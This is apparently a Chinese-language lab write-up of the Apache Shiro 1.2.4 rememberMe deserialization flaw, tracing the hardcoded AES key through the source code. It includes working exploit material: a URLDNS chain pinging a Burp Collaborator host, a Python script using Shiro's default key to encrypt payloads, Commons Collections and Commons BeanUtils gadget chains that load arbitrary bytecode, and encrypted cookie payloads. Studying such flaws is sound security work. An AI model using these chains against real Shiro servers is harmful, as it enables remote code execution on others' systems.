Shiro概述

Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。目前在Java web应用安全框架中,最热门的产品有Spring Security和Shiro,二者在核心功能上几乎差不多,但Shiro更加轻量级,使用简单、上手更快、学习成本低,所以Shiro的使用量一直高于Spring Security。产品用户量之高,一旦爆发漏洞波及范围相当广泛,研究相关漏洞是很有必要的。

环境搭建

首先,需要获取 Apache Shiro 存在漏洞的源代码,具体操作如下:

git clone https://github.com/apache/shiro.git
git checkout shiro-root-1.2.4
cd ./shiro/samples/web

为了配合生成反序列化的漏洞环境,需要添加存在漏洞的 jar 包,编辑 pom.xml 文件,添加如下行:

<properties><maven.compiler.source>1.6</maven.compiler.source><maven.compiler.target>1.6</maven.compiler.target>
</properties><dependencies><dependency><groupId>javax.servlet</groupId><artifactId>jstl</artifactId><!--  这里需要将jstl设置为1.2 --><version>1.2</version><scope>runtime</scope></dependency>
</dependencies>

在IDEA中导入mvn项目,并配置tomcat环境

漏洞分析

首先我们可以了解到Shro Java 反序列化漏洞存在几个重要的点

  • rememberMe cookie
  • CookieRememberMeManager.java
  • Base64
  • AES
  • 加密密钥硬编码
  • Java serialization

首先我们使用burp抓取登录的请求包可以看到,在登录的响应包的Cookie中有一个叫rememberMe的字段,并且在之后的访问的Cookie中都带着这个字段

一般来说Cookie都不会太长,这种很长的话一般来说就代表着它保存了一些关键信息,这些信息一般来说也就是会经过一些序列化、反序列化或者加密的处理,我们根据代码分析一下它加密的流程,首先容易看出这用了base64编码

然后我们可以根据名字在shiro包中找到一个叫CookieRememberMeManager的类,看名字来说这多半就和Cookie中的rememberMe的字段有关,事实也是如此,我们可以找到两个函数rememberSerializedIdentitygetRememberedSerializedIdentity,根据名字可以看出一个执行序列化操作,一个执行反序列化操作,这里我们先重点看一下反序列化操作的这个函数getRememberedSerializedIdentity

先获取requestresponse,然后从中getCookie,接着进行base64解码,然后再解密,这里我们就再查看getRememberedSerializedIdentity的调用函数,因为在调用函数里获取了base64解码后的数据嘛,然后能发现是在getRememberedSerializedIdentity的父类AbstractRememberMeManager中调用的

并且可以发现在获取到数据之后,就又进入到了一个convertBytesToPrincipals函数,跟进函数,可以看到做了两步操作,第一步是解密,第二步是反序列化,然后我们就能了解到在最后进行了一个反序列化的操作,但是数据是进行加密过的,所以肯定是要先进行解密

我们先看下他的解密操作

首先是获取了密钥服务,然后进行解密,再次跟进

这是一个接口,传参传了一个加密字段和一个key,基本上能判断出这是一个对称加密,然后我们重点先看下它传的key,根据之前的一步操作可以看到key是通过getDecryptionCipherKey()函数获取的,跟进函数

可以发现这是一个常量,然后我们看一下这是在哪里赋值的

我们主要看Value write的地方,可以发现是在setDecryptionCipherKey中进行赋值的,继续查看setDecryptionCipherKey的调用

然后再查看setCipherKey的调用

在这里就能看到常量了

能看到这是一个固定的值,也就是说这用的是一个固定的key进行的加密,然后在上面我们可以看到这里使用的AES的加密方式

然后继续回到它的解密操作

进入解密函数

经过分析我们可以得知解密的流程中首先获取了iv的初始化长度,然后从数据文本中获取了前iv长度的数据就是iv的数据,然后剩下的部分则是加密数据,意思也就是说iv直接就拼接在加密数据之前,然后整体做了一次base64的编码,所以感觉iv使用了但是有没完全使用的感觉

然后我们在进入convertBytesToPrincipals函数的反序列化函数deserialize

然后我们可以发现这里实际上调用了一个原生的反序列化操作,这里的话我们就可以通过依赖进行反序列化漏洞利用

然后基本上就能分析出基本的利用流程

构造一个序列化的payload --> AES加密 --> baes64编码 --> 走到正常流程里面,想办法调用序列化

漏洞利用

URLDNS利用链

先用jdk自带的URLDNS链验证一下

利用链分析

首先burp起一个监听

生成URLDNS利用链序列化payload

public class URLDNS {public static void main(String[] args) throws Exception{HashMap<Object, Object> hashMap = new HashMap<>();URL url = new URL("http://p7x0wlxv1b78hwch1af6h7zt3k9axz.burpcollaborator.net");Class<? extends URL> c = url.getClass();Field hashCodeField = c.getDeclaredField("hashCode");hashCodeField.setAccessible(true);hashCodeField.set(url,1234);hashMap.put(url,1);hashCodeField.set(url,-1);serialize(hashMap);}public static void serialize(Object obj) throws IOException {ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));oos.writeObject(obj);}
}

编写EXP脚本

然后根据之前分析出的解密流程反推加密流程,编写EXP脚本,得到rememberMe加密数据

import sys
import base64
import uuid
from random import Random
from Crypto.Cipher import AESdef get_file_data(filename):with open(filename, 'rb') as f:data = f.read()return datadef aes_enc(data):BS = AES.block_sizepad = lambda s: s + ((BS - len(s) % BS) * chr(BS - -len(s) % BS)).encode()key = "kPH+bIxk5D2deZiIxcaaaA=="mode = AES.MODE_CBCiv = uuid.uuid4().bytesencryptor = AES.new(base64.b64decode(key), mode, iv)ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data)))return ciphertextdef aes_dec(enc_data):enc_data = base64.b64decode(enc_data)unpad = lambda s: s[:s[-1]]key = "kPH+bIxk5D2deZiIxcaaaA=="mode = AES.MODE_CBCiv = enc_data[:16]encryptor = AES.new(base64.b64decode(key), mode, iv)plaintext = encryptor.decrypt(enc_data[16:])# plaintext =bytes.decode(plaintext)plaintext = unpad(plaintext)if __name__ == '__main__':data = get_file_data("ser.bin")print(aes_enc(data))#b'6/g1epheRi2z/LlZq56NM08ofzYtWKr9iPRksiHrEkPJ4BF8cXmf/dXbo+Vf4vHL+PamFQ4QligxuQFDGFVhNKM9laB/7bWQKpZjzIFUQwaSYaby3s8M4SSZTrdZKtlrM7TlheMcH2+rRJIjPUYfFGhAcZEbiq0x1nqyWmyN4xzAcxQLxPY+oaNLWhUF1AZAj5ycmeXhjMMwxXuge7JKKQPQ386IwGnZ15CROtNaq48wdNtlSlFsUw9dehI8ApwDAz44t03/iusofq+2BdFRf+hBN6xDEBFhfWGQl+Rf2HZAeB8dMINvgdJkUHAEPCD+JR/f0ppZjng+eK2nj0VsEX8B7WbWiMC1xZWnTt1wAE9Is09WMO5he/DgmUrQIkS41u2GIZOl9RHwwIwWKmcsfjz9iRay9HrluZan3QiGRoFBkymlxxYEqocEJNvTGQ0g+DMSyIRUC8dZnvJ3Fq4yORfZqa9IaL+1RjfTjd1tg4i51MPoTs7gEeP453dNWo0m///MMb4CWkTH40GUHxIFBw=='

然后替换rememberMe

然后可以发现还是保持着我的root用户登录,但是实际上我已经替换掉了,应该是读取不到我的认证信息了,但是这还是保持这我的登录状态,这其实是因为在cookie中还有一个参数JSESSIONID,这也是用来做身份验证的,在代码逻辑中其实是有JSESSIONID的话就不会去读rememberMe,我们这里直接把JSESSIONID删除

然后现在就是返回rememberMe=deleteMe,这个一般也就是用这个做的检测,然后我们的DNS请求也是收到了

也就能说明这里执行了反序列化

具体的反序列流程和URLDNS利用链几乎一致

CC利用链

这里我们尝试使用commons-collections3.2.1的版本来进行测试

利用链分析

先用CC1做测试反序列化-->AES-->base64编码

可以发现报错了,经过分析可以得知是无法加载Transformer这个类的原因,然后在下面可以看到加载了三次,都没找到,因为其实shiro也不是用原生的readObject,调用的是ObjectInputStreamreadObject,用的是ClassResolvingObjectInputStream这么一个类,这里是自定义的一个对象输入流,跟进函数

ClassResolvingObjectInputStream里面其实重写了一个resolveClass,然后在Java反序列化的是其实就是会调用resolveClass加载类

跟原生的resolveClass对比可以发现其实都差不多,只是原生的调用了Class的forname进行类加载,然后ClassResolvingObjectInputStream是调用自己写得ClassUtils进行的类加载,然后进入ClassUtils

然后可以发现这里其实调用的是loadclass进行类加载,然后调用了三次,这也就回应了之前三次的调用失败的三次次数

然后加载不到Transformer主要因为loadclass没有实现对数组类支持的逻辑,而forname实现,所以调用原生的类加载的时候不会报错

所以我们只要在利用链中不出现数组类就行了,其实也就是不要出现Transformer就行了,根据我们之前了解到的如果说我们走直接代码执行(Runtime.exec())这个执行点的话就必须要走InvokerTransformer的循环调用,也就肯定要走Transformer这个数组类,所以我们走代码执行,所以一般常规的都是使用的CC2那一条链,因为它没有使用Transformer,但是CC2中使用的TransformingComparator是commons-collections4的版本才有的,我们测试的这个版本是没有的,我们可以组合一下几条链

payload

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;public class Shiro_CC {public static void main(String[] args) throws Exception{//CC3TemplatesImpl templates = new TemplatesImpl();Class<? extends TemplatesImpl> aClass = templates.getClass();Field nameField = aClass.getDeclaredField("_name");nameField.setAccessible(true);nameField.set(templates,"aaaa");Field bytecodesField = aClass.getDeclaredField("_bytecodes");bytecodesField.setAccessible(true);byte[] code = Files.readAllBytes(Paths.get("tmp/classes/Test.class"));byte[][] codes = {code};bytecodesField.set(templates,codes);//CC2InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", null,null);//CC6HashMap<Object, Object> map = new HashMap<>();Map lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templates);HashMap<Object, Object> map2 = new HashMap<>();map2.put(tiedMapEntry,"bbb");lazyMap.remove(templates);Class<LazyMap> c = LazyMap.class;Field factoryField = c.getDeclaredField("factory");factoryField.setAccessible(true);factoryField.set(lazyMap,invokerTransformer);serialize(map2);//unserialize("ser.bin");}public static void serialize(Object obj) throws IOException {ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));oos.writeObject(obj);}public static Object unserialize(String fileName) throws IOException, ClassNotFoundException {ObjectInputStream ois = new ObjectInputStream(new FileInputStream(fileName));return ois.readObject();}
}

其实也就是相当于用InvokerTransformer的newTransformer然后调用templates,从而绕过Transformer数组类,然后经由之前编写的EXP脚本进行加密

得到rememberMe

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

利用效果

其实其他的链也可以改成不用Transformer数组类的形式

commons-beanutils利用链

之前的CC依赖是我们手动添加的,实际上shiro默认是没有CC依赖的,所以我们只能使用shiro默认的依赖,这里我们可以利用commons-beanutils,因为之后commons-beanutils里面有完整的反序列化漏洞利用链的

commons-beanutils

CC是对Java集合类的增强
CB是Apache提供的一个用于操作JAVA bean的工具包。里面提供了各种各样的工具类,让我们可以很方便的对bean对象的属性进行各种操作。

JavaBean是什么?

在Java中,有很多class的定义都符合这样的规范

  • 若干private实例字段;
  • 通过public方法来读写实例字段。
  • 命名要符合规范,符合骆驼式命名法,比如说属性名为abc,那么get方法为public Type getAbc()set方法为public void setAbc(Type value)

例如:

public class Person {private String name;private int age;public Person(String name, int age) {this.name = name;this.age = age;}public String getName() {return name;}public void setName(String name) {this.name = name;}public int getAge(){return age;}public void setAge(int age){this.age = age;}
}

如果读写方法符合这种命名规范,那么这种class被称为JavaBean

写一个简单的demo来调用一下getName()

import org.apache.commons.beanutils.PropertyUtils;public class BeanTest {public static void main(String[] args) throws Exception{Person person = new Person("Townamcro",21);System.out.println(person.getName());}
}

但是这样写有一个弊端,因为每一个都要用这种函数调用的方式,在Commons-Beanutils中提供了一种静态方法PropertyUtils#getProperty,可以让使用者直接调用到任意JavaBean对象中的getter方法,这样就能相对动态的去执行。

这个方法,直接传入一个对象,然后获取这个对象的一个属性值,就会自动的去调用getName()方法。

Person person = new Person("Townmacro", 21);
System.out.println(PropertyUtils.getProperty(person, "name"));
System.out.println(PropertyUtils.getProperty(person, "age"));

这也就提供了动态执行代码的点,可能会产生安全问题。

利用链分析

下个断点跟进调试一下

这里调用了一个getProperty然后又调用了PropertyUtilsBean.getInstance().getProperty(bean, name)

然后又调用了getNestedProperty,在PropertyUtilsBean中

这里是首先进行了两次判断,判断两个参数是否非空,然后在最后又对bean的类型进行了判断,然后这里我们是进入了getSimpleProperty

执行到后面调用了getPropertyDescriptor这是一个获取属性描述符的方法

这里可以看到获取到了属性名和方法名,然后再向下执行,就执行到了一个反射调用

跟进去看一下

这个反射调用其实也很简单,就是对我们传递的对象执行一个符合JavaBean格式的方法

然后在这里我们在结合之前分析CC3利用链的时候的TemplatesImpl类中的getOutputProperties方法

这里面调用了newTransformer,这是可以动态加载类的,然后后面的getOutputProperties也是一个符合JavaBean格式的写法,然后结合CC3和CC2进行代码编写

public class Shiro_CB {public static void main(String[] args) throws Exception{Person person = new Person("Townmacro", 21);//CC3TemplatesImpl templates = new TemplatesImpl();Class<? extends TemplatesImpl> aClass = templates.getClass();Field nameField = aClass.getDeclaredField("_name");nameField.setAccessible(true);nameField.set(templates,"aaaa");Field bytecodesField = aClass.getDeclaredField("_bytecodes");bytecodesField.setAccessible(true);byte[] code = Files.readAllBytes(Paths.get("tmp/classes/Test.class"));byte[][] codes = {code};bytecodesField.set(templates,codes);//CBBeanComparator beanComparator = new BeanComparator("outputProperties");TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));//CC2PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);priorityQueue.add(templates);priorityQueue.add(templates);Class<PriorityQueue> c = PriorityQueue.class;Field comparatorField = c.getDeclaredField("comparator");comparatorField.setAccessible(true);comparatorField.set(priorityQueue,beanComparator);serialize(priorityQueue);//unserialize("ser.bin");}public static void serialize(Object obj) throws IOException {ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));oos.writeObject(obj);}public static Object unserialize(String fileName) throws IOException, ClassNotFoundException {ObjectInputStream ois = new ObjectInputStream(new FileInputStream(fileName));return ois.readObject();}
}

然后利用生成的payload在加密进行测试发现执行失败,报错了,然后具体的报错原因是这个

它说找不到commons.collections中的ComparableComparator,但是很奇怪的是我们并没有用到这个类,为什么会报找不到它呢?

其实这是CB在设计的过程中,很多就是和CC重叠的,我们看一下BeanComparator这个类

然后就会发现,这里有两个构造函数,传一个参数的话就是走上面一个构造方法,在这里面就调用了ComparableComparator,然后我们在shiro的默认依赖中并没有CC依赖,所以就报错了,那我们就用第二个构造方法,第二个参数我们传一个CB或者JDK里面自带的comparator并且继承了Serializable反序列化结构的,这里我们使用的是AttrCompare

然后新的payload

public class Shiro_CB {public static void main(String[] args) throws Exception{Person person = new Person("Townmacro", 21);//CC3TemplatesImpl templates = new TemplatesImpl();Class<? extends TemplatesImpl> aClass = templates.getClass();Field nameField = aClass.getDeclaredField("_name");nameField.setAccessible(true);nameField.set(templates,"aaaa");Field bytecodesField = aClass.getDeclaredField("_bytecodes");bytecodesField.setAccessible(true);byte[] code = Files.readAllBytes(Paths.get("tmp/classes/Test.class"));byte[][] codes = {code};bytecodesField.set(templates,codes);//CBBeanComparator beanComparator = new BeanComparator("outputProperties",new AttrCompare());TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));//CC2PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);priorityQueue.add(templates);priorityQueue.add(templates);Class<PriorityQueue> c = PriorityQueue.class;Field comparatorField = c.getDeclaredField("comparator");comparatorField.setAccessible(true);comparatorField.set(priorityQueue,beanComparator);serialize(priorityQueue);//unserialize("ser.bin");}public static void serialize(Object obj) throws IOException {ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));oos.writeObject(obj);}public static Object unserialize(String fileName) throws IOException, ClassNotFoundException {ObjectInputStream ois = new ObjectInputStream(new FileInputStream(fileName));return ois.readObject();}
}

重新生成payload然后加密再进行测试

利用效果

执行成功

Apache Shiro Java 反序列化漏洞分析相关推荐

  1. shrio反序列漏洞修复_Apache Shiro Java 反序列化漏洞分析

    Author: rungobier(知道创宇404安全实验室) Date: 2016-08-03 0x00 概述 Apache Shiro 在 Java 的权限及安全验证框架中占用重要的一席之地,在它 ...

  2. Apache Shiro Java 反序列化漏洞解决修复记录

    收到了阿里的警告 阿里漏洞扫描系统 解决办法 借鉴了 https://blog.csdn.net/Fly_hps/article/details/106112692 下载windows 扫描工具 ht ...

  3. Apache Commons Collections反序列化漏洞分析与复现

     聚焦源代码安全,网罗国内外最新资讯! 1.1 状态 完成漏洞挖掘条件分析.漏洞复现. 1.2 漏洞分析 存在安全缺陷的版本:Apache Commons Collections3.2.1以下,[JD ...

  4. java反序列化漏洞分析

    Java反序列化漏洞(Java Deserialization Vulnerabilities)是一种常见的安全漏洞,其攻击方式是利用Java中的序列化和反序列化机制,通过在序列化数据中插入恶意代码, ...

  5. java反序列化漏洞挖掘

    java反序列化漏洞挖掘 1.漏洞触发场景 在java编写的web应用与web服务器间java通常会发送大量的序列化对象例如以下场景: 1)HTTP请求中的参数,cookies以及Parameters ...

  6. APACHE OFBIZ XML-RPC 反序列化漏洞 (CVE-2020-9496) 的复现与分析

     聚焦源代码安全,网罗国内外最新资讯! 1.1 状态 完成漏洞挖掘条件分析.漏洞复现. 1.2 简介 相关的重点类和方法: org.apache.xmlrpc.parser.SerializableP ...

  7. shiro550反序列化漏洞分析

    Apache Shiro550 之前有做过vulhub漏洞复现-Apache Shiro(CVE-2016-4437) 反序列化漏洞复现,这里记录一下调试分析过程. Apache Shiro是一个开源 ...

  8. java序列化_技术干货 | JAVA反序列化漏洞

    目录 反序列化漏洞 序列化和反序列化 JAVA WEB中的序列化和反序列化 对象序列化和反序列范例 JAVA中执行系统命令 重写readObject()方法 Apache Commons Collec ...

  9. 经典的Shiro反序列化漏洞分析

    更多黑客技能 公众号:小道黑客 作者:掌控安全-holic 0x01.前言 相信大家总是面试会问到java反序列化,或者会问到标志性的漏洞,比如shiro反序列化,或者weblogic反序列化漏洞. ...

最新文章

  1. mysql修改Truncated incorrect DOUBLE value:
  2. 修复win7+ubuntu18.10双系统引导
  3. [深度学习] 自然语言处理---Transformer实现(二)
  4. 诗与远方:无题(七)
  5. 106页《Python进阶》中文版介绍分享
  6. 英语总结系列(六):激情燃烧的岁月
  7. 不宜使用Selenium自动化的10个测试场景
  8. 关于行业的浅析以及未来工作的前景初判
  9. SPSS 相关与回归小结(图文+数据集)【SPSS 026期】
  10. 神经元模型图手工制作,神经元模型图手工模型
  11. 大数据Hadoop快速入门教程
  12. 软媒魔方 6.0 正式绿色版
  13. Object 转int
  14. 软件测试自学乐器儿童画,查找「国庆节儿童画大全」安卓应用 - 豌豆荚
  15. 茶叶的基本知识,喝茶的好处和坏处
  16. [转]Typora中使用Latex符号——基本操作
  17. 点餐系统(设计模式)
  18. 解决模拟器方向键无法使用问题
  19. 无MAC法安装genymotion的解决办法_Invalid reply from server..
  20. 《大话Java性能优化》面向对象及基础类型相关部分

热门文章

  1. 根据灰度直方图调整图象亮度
  2. 流程图讲解_雅思经典流程图+地图题小作文练习,详细讲解+精选范文!!
  3. Qt 使用QNetworkAccessManager实现Http操作
  4. 杭电oj(Java版)——1713 相遇周期
  5. 【77 backtrader的一些高级技巧】如何使用backtrader更好的计算夏普率?
  6. BZOJ 1787 [Ahoi2008]Meet 紧急集合——LCA
  7. 云海麒麟服务器管理中心起火,北京云海麒麟容错服务器架构介绍
  8. C# 集合-并发处理
  9. Python3.8+OpenCV4 实现二维码扫码
  10. grunt 使用教程及步骤